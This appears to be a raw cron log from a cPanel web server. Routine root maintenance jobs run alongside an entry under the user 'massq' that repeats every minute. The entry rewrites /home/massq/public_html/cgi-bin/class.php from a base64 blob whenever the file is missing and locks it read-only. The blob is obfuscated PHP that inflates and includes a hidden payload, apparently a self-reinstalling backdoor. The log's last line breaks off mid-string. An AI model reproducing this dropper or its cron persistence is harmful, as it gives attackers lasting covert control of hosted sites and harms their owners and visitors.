Sep  9 01:40:01 server CROND[19946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:40:01 server CROND[19948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:40:01 server CROND[19951]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:40:01 server CROND[19953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:40:01 server CROND[19952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:40:01 server CROND[19950]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:40:01 server CROND[19947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:40:01 server CROND[19949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:41:01 server CROND[20913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:41:01 server CROND[20914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:41:01 server CROND[20915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:42:01 server CROND[21297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:42:01 server CROND[21298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:42:01 server CROND[21299]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 01:42:01 server CROND[21300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:43:01 server CROND[21685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:43:01 server CROND[21686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:43:01 server CROND[21687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:44:01 server CROND[22072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:44:01 server CROND[22073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:44:01 server CROND[22074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:45:01 server CROND[22660]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:45:01 server CROND[22661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:45:01 server CROND[22663]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:45:01 server CROND[22666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:45:01 server CROND[22667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:45:01 server CROND[22665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:45:01 server CROND[22669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:46:01 server CROND[24412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:46:01 server CROND[24413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:46:01 server CROND[24414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:47:01 server CROND[25294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:47:01 server CROND[25295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:47:01 server CROND[25302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:48:01 server CROND[26340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:48:01 server CROND[26342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:48:01 server CROND[26341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:49:01 server CROND[26777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:49:01 server CROND[26778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:49:01 server CROND[26779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:50:01 server CROND[27176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:50:01 server CROND[27177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:50:02 server CROND[27179]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 01:50:02 server CROND[27184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:50:02 server CROND[27188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:50:02 server CROND[27185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:50:02 server CROND[27186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:50:02 server CROND[27189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:50:02 server CROND[27192]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:51:01 server CROND[28212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:51:01 server CROND[28213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:51:01 server CROND[28214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLc